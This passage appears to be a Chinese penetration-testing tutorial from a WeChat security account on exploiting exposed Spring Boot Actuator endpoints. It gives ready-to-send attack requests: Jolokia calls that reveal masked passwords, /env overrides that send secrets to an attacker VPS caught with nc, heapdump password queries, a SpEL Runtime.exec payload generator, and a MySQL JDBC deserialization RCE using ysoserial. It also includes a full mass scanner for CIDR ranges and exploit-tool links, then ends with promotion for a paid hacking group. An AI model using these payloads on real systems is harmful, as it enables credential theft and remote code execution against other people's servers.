sql select * from org.springframework.web.context.support.StandardServletEnvironment select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
spring boot 2.x 版本 heapdump 查询结果,最终结果存储在 java.util.LinkedHashMap$Entry 实例的键值对中:
sql select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.key).contains("password"))
11.2actuator env 泄露
11.2.1介绍
eureka eureka RCE
springt-boot-strater-actuator Snakeyaml RCE
spring-cloud-strater Snakeyaml RCE
mangodb 数据库账号密码
mappings 未授权接口
trace 认证信息 例cookie
refresh getshell
race 最近请求信息,例如登录情况
h2database h2database query RCE
env中可能会含有很多敏感信息,比如存在一些脆弱资产如redis等
后面打法就不演示了
12.获取星号信息
12.1介绍
访问 /env 接口时,spring actuator 会将一些带有敏感关键词(如 password、secret)的属性名对应的属性值用 * 号替换达到脱敏的效果
12.2方法1
利用条件
Step1
: 首先我们找到想要获取的属性名,请求 /env 或 /actuator/env 接口,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名
Step2
: jolokia调用相关Mbean获取明文 把下面示例中的 security.user.password 替换为实际中要获取的属性名,发包即可,明文值会在response包中的 value中
说明:实际上是调用了 org.springframework.boot.admin.SpringApplicationAdminMXBeanRegistrar 类实例的 getProperty 方法
Spring 1.x
POST /jolokia
Content-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
Spring 2.x
POST /actuator/jolokia
Content-Type: application/json{"mbean": "org.springframework.boot:name=SpringApplication,type=Admin","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
说明:实际上调用的是org.springframework.cloud.context.environment.EnvironmentManager 类实例的 getProperty 方法
Spring 1.x
POST /jolokia
Content-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
Spring 2.x
POST /actuator/jolokia
Content-Type: application/json{"mbean": "org.springframework.cloud.context.environment:name=environmentManager,type=EnvironmentManager","operation": "getProperty", "type": "EXEC", "arguments": ["security.user.password"]}
利用条件如⬇️:
可以GET请求目标网站的 /env
可以POST请求目标网站的 /env
可以POST请求目标网站的 /refresh 接口刷新配置 (存在 spring-boot-starter-actuator 依赖)
目标使用了 spring-cloud-starter-netflix-eureka-client 依赖
目标可以请求攻击者的服务器(请求可出网)
Step-1
: 首先我们找到想要获取的属性名,请求 /env 或 /actuator/env 接口,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名
Step-2
: 使用nc监听HTTP请求,在自己的vps上监听 80端口
nc -lvk 80
Step-3
: 设置 eureka.client.serviceUrl.defaultZone 属性 把 --> "http://value:${security.user.password}@your-vps-ip" 中的 "security.user.password" 换成自己想要获取的对应的星号遮掩对应的属性名即可
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://value:${security.user.password}@your-vps-ip
spring 2.x
POST /actuator/env
Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://value:${security.user.password}@your-vps-ip"}
Step-4
: 刷新配置
spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
Step-5:解码属性值
正常来的话,nc会监听到服务器发送来的请求,其中包含类似Authorization 头内容,这是一串base64,解码即可
Authorization: Basic dmFsdWU6MTIzNDU2
利用条件如⬇️:
通过 POST /env 设置属性触发目标对外网指定地址发起任意HTTP请求
目标可以请求攻击者的服务器(出网)
说明:参考 UUUUnotfound 提出的 issue-1,可以在目标发外部 http 请求的过程中,在 url path 中利用占位符带出数据
Step-1
:**GET请求目标网站的 /env 或 /actuator/env接口 ,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名
Step-2
:监听HTTP请求 在自己控制的vps上监听80端口
nc -lvk 80
Step-3
: 触发对外HTTP请求
spring.cloud.bootstrap.location 方法(同时适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencodedspring.cloud.bootstrap.location=http://your-vps-ip/?=${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json{"name":"spring.cloud.bootstrap.location","value":"http://your-vps-ip/?=${security.user.password}"}
eureka.client.serviceUrl.defaultZone 方法(不适用于明文数据中有特殊 url 字符的情况)
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencodedeureka.client.serviceUrl.defaultZone=http://your-vps-ip/${security.user.password}
spring 2.x
POST /actuator/env
Content-Type: application/json{"name":"eureka.client.serviceUrl.defaultZone","value":"http://your-vps-ip/${security.user.password}"}
Step-4
:刷新配置
Spring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
Spring 2.x
POST /actuator/refresh
Content-Type: application/json
利用条件如⬇️:
可以正常GET请求目标/headpdump 或 /actuator/heapdump
Step-1
: **GET请求目标网站的 /env 或 /actuator/env接口 ,搜索 * 关键字,找到想要获取的被星号挡住的属性值对应的属性名
Step-2
: 下载 jvm heap 信息(大小一般在50M - 500M 之间,有时候会大于2G)
Step-3
: 使用MAT获取 jvm heap 中的密码明文
参考 文章 方法,使用 Eclipse Memory Analyzer 工具的 OQL 语句
select * from java.util.Hashtable$Entry x WHERE (toString(x.key).contains("password"))
或
select * from java.util.LinkedHashMap$Entry x WHERE (toString(x.ke
y).contains("password"))
13.whitelabel error page SpEL RCE
13.3.1漏洞介绍
spring boot 处理参数值出错,流程进入 org.springframework.util.PropertyPlaceholderHelper 类中
此时 URL 中的参数值会用 parseStringValue 方法进行递归解析。
其中 ${} 包围的内容都会被 org.springframework.boot.autoconfigure.web.ErrorMvcAutoConfiguration 类的 resolvePlaceholder 方法当作 SpEL 表达式被解析执行,造成 RCE 漏洞
13.3.2范围
13.3.3指纹
Spring Boot 传参触发默认错误页面 --> whitelabel error page SpEL RCE
13.3.4 EXP
这里fuzz出来是article?id
脚本生成一下payload
result = ""
target = '命令'
for x in target:
result += hex(ord(x)) + ","
print(result.rstrip(','))
http://192.168.233.131:26875/article?id=${T(java.lang.Runtime).getRuntime().exec(new%20String(new%20byte[]{生成的字符串
}))}
14.mysql jdbc deserialization RCE
环境地址
SpringBootVulExploit/repository/springboot-mysql-jdbc-rce at master · LandGrey/SpringBootVulExploit · GitHub
1.spring.datasource.url 属性被设置为外部恶意 mysql jdbc url 地址2.refresh 刷新后设置了一个新的 spring.datasource.url 属性值
3.当网站进行数据库查询等操作时,会尝试使用恶意 mysql jdbc url 建立新的数据库连接
4.然后恶意 mysql server 就会在建立连接的合适阶段返回反序列化 payload 数据
5.目标依赖的 mysql-connector-java 就会反序列化设置好的 gadget,造成 RCE 漏洞
可以 POST 请求目标网站的 /env接口设置属性
可以 POST 请求目标网站的 /refresh接口刷新配置(存在 spring-boot-starter-actuator依赖)
目标环境中存在 mysql-connector-java依赖
目标可以请求攻击者的服务器(请求可出外网)
1-GET请求 /env 或 /actuator/env,搜索环境变量(classpath)中是否有 mysql-connector-java关键词,并记录下版本号(5.0x或8.x)
2-搜索并观察环境变量中是否存在常见的反序列化gadget依赖,比如 commons-collections、Jdk7u21、Jdk8u20等
搜索 spring.datasource.url 关键字,记录下value值,方便后续恢复其正常 jdbc url的值
2:假设恶意 rogue mysql server
说明:在自己服务器上运行 springboot-jdbc-deserialization-rce.py 脚本,并使用 ysoserial 自定义要执行的命令
wget https://raw.githubusercontent.com/LandGrey/SpringBootVulExploit/master/codebase/springboot-jdbc-deserialization-rce.py
java -jar ysoserial-0.0.6-SNAPSHOT-all.jar CommonsCollections3 "curl xxx" > payload.ser
在脚本同目录下生成 payload.ser 反序列化payload文件供EXP脚本使用
说明:修改这个属性会导致Mysql瘫痪,需要谨慎操作
Mysql-connector-java 5.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&statementInterceptors=com.mysql.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
Mysql-connector-java 8.x 版本设置属性值为:
jdbc:mysql://your-vps-ip:3306/mysql?characterEncoding=utf8&useSSL=false&queryInterceptors=com.mysql.cj.jdbc.interceptors.ServerStatusDiffInterceptor&autoDeserialize=true
spring 1.x
POST /env
Content-Type: application/x-www-form-urlencoded spring.datasource.url=对应属性值
spring 2.x
POST /actuator/env
Content-Type: application/json {"name":"spring.datasource.url","value":"对应属性值"}
pring 1.x
POST /refresh
Content-Type: application/x-www-form-urlencoded
spring 2.x
POST /actuator/refresh
Content-Type: application/json
说明:尝试访问网站已知的数据库查询的接口,例如: /product/list,或者寻找其他方式,主动触发源网站进行数据库查询,然后漏洞会被触发
反序列化漏洞利用完成后,使用 步骤三的方法恢复 步骤一中记录的 spring.datasource.url 的原始 value 值
OVER OVER
附带几个工具
https://github.com/rabbitmask/SB-Actuator
git clone https://github.com/rabbitmask/SB-Actuator.git
2.Spring Boot Exploit
https://github.com/0x727/SpringBootExploit
git clone https://github.com/0x727/SpringBootExploit.git
项目地址:https://github.com/reznok/Spring4Shell-POC
git clone https://github.com/reznok/Spring4Shell-POC.git
项目地址:https://github.com/TheGejr/SpringShell
git clone https://github.com/TheGejr/SpringShell.git
附带一个指纹表
1 /gs-guide-websocket CVE-2018-1270
2 存在表单交互 CVE-2018-1273
or
CVE-2017-4971
3 全是json格式且是Restful风格的api
4- /oauth/authorize 且存在登录界面 CVE-2016-4977
5 /functionRouter CVE-2022-22963
6 Actuator env泄露
6.1 eureka --> eureka RCE 6.2 springt-boot-strater-actuator and spring-cloud-strater Snakeyaml RCE 6.4 race 最近请求信息,例如登录情况 6.4 h2database h2database query RCE 6.5 mappings 未授权接口 6.6 trace 认证信息 例cookie 6.7 refresh getshell 6.8 mangodb 数据库账号密码 7 Spring Boot 传参触发默认错误页面 whitelabel error page SpEL RCE
8 /actutor/gateway CVE-2022-22947
9 Spring + mongodb CVE-2022-22980
一个识别Spring Boot Actuator未授权访问的脚本
import argparse
import re
import requests
from multiprocessing import Pool, Manager
from concurrent.futures import ThreadPoolExecutor
import ipaddress
requests.packages.urllib3.disable_warnings()
headers = {"User-Agent":"Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:69.0) Gecko/20100101 Firefox/69.0",
"Accept":"text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8",}
executor = ThreadPoolExecutor()
# Spring Boot < 1.5 默认未授权访问所有端点
# Spring Boot >= 1.5 默认只允许访问/health和/info端点,但是此安全性通常被应用程序开发人员禁用
# 另外考虑到人为关闭默认端点开启非默认端点的情况,综上所述,此处采用暴力模式配合异步并发(子进程中嵌套异步子线程)解决。
pathlist=['/autoconfig','/beans','/configprops','/dump','/health','/info','/mappings','/metrics','/trace',]
def getinfo(filepath):
fr = open(filepath, 'r')
ips=fr.readlines()
fr.close()
return ips
def saveinfo(result):
if result:
fw=open('result.txt','a')
fw.write(result+'\n')
fw.close()
def sbcheck(ip):
url= str(ip)
try:
r = requests.get(url+ '/404', headers=headers,timeout=10,verify=False)
if r.status_code==404 or r.status_code==403:
if 'Whitelabel Error Page' in r.text or 'There was an unexpected error'in r.text:
print("It's A Spring Boot Web APP: {}".format(url))
saveinfo( "It's A Spring Boot Web APP: {}".format(url))
executor.submit(sb_Actuator,url)
return 1
except requests.exceptions.ConnectTimeout:
return 0.0
except requests.exceptions.ConnectionError:
return 0.1
def isSB(ip,q):
print('>>>>> {}'.format(ip))
sbcheck(ip)
q.put(ip)
#大多数Actuator仅支持GET请求并仅显示敏感的配置数据,如果使用了Jolokia端点,可能会产生XXE、甚至是RCE安全问题。
#通过查看/jolokia/list 中存在的 Mbeans,是否存在logback 库提供的reloadByURL方法来进行判断。
def Jolokiacheck(url):
url_tar = url + '/jolokia/list'
r = requests.get(url_tar, headers=headers, verify=False)
if r.status_code == 200:
print("目标站点开启了 jolokia 端点的未授权访问,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 jolokia 端点的未授权访问,路径为:{}".format(url_tar))
if 'reloadByURL' in r.text:
print("目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 jolokia 端点且存在reloadByURL方法,可进行XXE/RCE测试,路径为:{}".format(url_tar))
if 'createJNDIRealm' in r.text:
print("目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 jolokia 端点且存在createJNDIRealm方法,可进行JNDI注入RCE测试,路径为:{}".format(url_tar))
#Spring Boot env端点存在环境属性覆盖和XStream反序列化漏洞
def Envcheck_1(url):
url_tar = url + '/env'
r = requests.get(url_tar, headers=headers, verify=False)
if r.status_code == 200:
print("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar))
if 'spring.cloud.bootstrap.location' in r.text:
print("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar))
if 'eureka.client.serviceUrl.defaultZone' in r.text:
print("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar))
#Spring Boot 1.x版本端点在根URL下注册。
def sb1_Actuator(url):
key=0
Envcheck_1(url)
Jolokiacheck(url)
for i in pathlist:
url_tar = url+i
r = requests.get(url_tar, headers=headers, verify=False)
if r.status_code==200:
print("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/',''),url_tar))
saveinfo("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/',''),url_tar))
key=1
return key
#Spring Boot 2.x版本存在H2配置不当导致的RCE
def Envcheck_2(url):
url_tar = url + '/actuator/env'
r = requests.get(url_tar, headers=headers, verify=False)
if r.status_code == 200:
print("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 env 端点的未授权访问,路径为:{}".format(url_tar))
if 'spring.cloud.bootstrap.location' in r.text:
print("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 env 端点且spring.cloud.bootstrap.location属性开启,可进行环境属性覆盖RCE测试,路径为:{}".format(url_tar))
if 'eureka.client.serviceUrl.defaultZone' in r.text:
print("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar))
saveinfo("目标站点开启了 env 端点且eureka.client.serviceUrl.defaultZone属性开启,可进行XStream反序列化RCE测试,路径为:{}".format(url_tar))
headers["Cache-Control"]="max-age=0"
rr = requests.post(url+'/actuator/restart', headers=headers, verify=False)
if rr.status_code == 200:
print("目标站点开启了 env 端点且支持restart端点访问,可进行H2 RCE测试,路径为:{}".format(url+'/actuator/restart'))
saveinfo("目标站点开启了 env 端点且支持restart端点访问,可进行H2 RCE测试,路径为:{}".format(url+'/actuator/restart'))
#Spring Boot 2.x版本端点移动到/actuator/路径。
def sb2_Actuator(url):
Envcheck_2(url)
Jolokiacheck(url+'/actuator')
for i in pathlist:
url_tar = url+'/actuator'+i
r = requests.get(url_tar, headers=headers, verify=False)
if r.status_code==200:
print("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/',''),url_tar))
saveinfo("目标站点开启了 {} 端点的未授权访问,路径为:{}".format(i.replace('/', ''), url_tar))
def sb_Actuator(url):
try:
if sb1_Actuator(url)==0:
sb2_Actuator(url)
except:
pass
def Cidr_ips(cidr):
ips=[]
for ip in ipaddress.IPv4Network(cidr):
ips.append('%s'%ip)
return ips
def cidrscan(cidr):
if re.match(r"^(?:(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\.){3}(?:[0-9]|[1-9][0-9]|1[0-9]{2}|2[0-4][0-9]|25[0-5])\/([1-9]|[1-2]\d|3[0-2])$",cidr):
curls = []
ips=Cidr_ips(cidr)
for i in ips:
curls.append('http://'+i)
curls.append('https://'+i)
poolmana(curls)
else:
print("CIDR格式输入有误,锤你昂w(゚Д゚)w")
def poolmana(ips):
p = Pool(10)
q = Manager().Queue()
for i in ips:
i=i.replace('\n','')
p.apply_async(isSB, args=(i,q,))
p.close()
p.join()
print('检索完成>>>>>\n请查看当前路径下文件:result.txt')
def run(filepath):
ips=getinfo(filepath)
poolmana(ips)
if __name__ == '__main__':
parser = argparse.ArgumentParser()
parser.add_argument("-u", "--url", dest='url',help="单目标扫描")
parser.add_argument("-s", "--surl", dest='surl', help="单目标扫描(跳过指纹)")
parser.add_argument("-c", "--cidr", dest='cidr', help="CIDR扫描(80/443)")
parser.add_argument("-f", "--file", dest='file', help="从文件加载目标")
args = parser.parse_args()
if args.url:
res=sbcheck(args.url)
if res==1:
pass
elif res==0.0:
print("与目标网络连接异常,timeout默认为10s,请根据网络环境自行更改")
elif res==0.1:
print("与目标网络连接异常,目标计算机积极拒绝,无法连接")
else:
print("目标未使用spring boot或本脚本识别模块不够完善,如为后者欢迎反馈Issue")
elif args.surl:
sb_Actuator(args.surl)
elif args.cidr:
cidrscan(args.cidr)
elif args.file:
run(args.file)
输入格式例如:http:127.0.0.1 or https://xxx.com
几个spring漏洞检测利用工具
https://github.com/13exp/SpringBoot-Scan-GUI
https://github.com/AabyssZG/SpringBoot-Scan
一个bp的插件
https://github.com/whwlsfb/SpringSpider
几个指纹识别工具
https://github.com/urbanadventurer/WhatWeb
https://github.com/TideSec/TideFinger
https://github.com/EdgeSecurityTeam/EHole
★
付费圈子 欢 迎 加 入 星 球 !
代码审计+免杀+渗透学习资源+各种资料文档+各种工具+付费会员
进成员内部群
星球的最近主题和星球内部工具一些展示
加入安全交流群
关 注 有 礼
关注下方公众号回复“666”可以领取一套领取黑客成长秘籍 还在等什么?赶紧点击下方名片关注学习吧!
推荐阅读
免责声明 由于传播、利用本公众号渗透安全团队所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,公众号渗透安全团队及作者不为此承担任何责任,一旦造成后果请自行承担!如有侵权烦请告知,我们会立即删除并致歉。谢谢!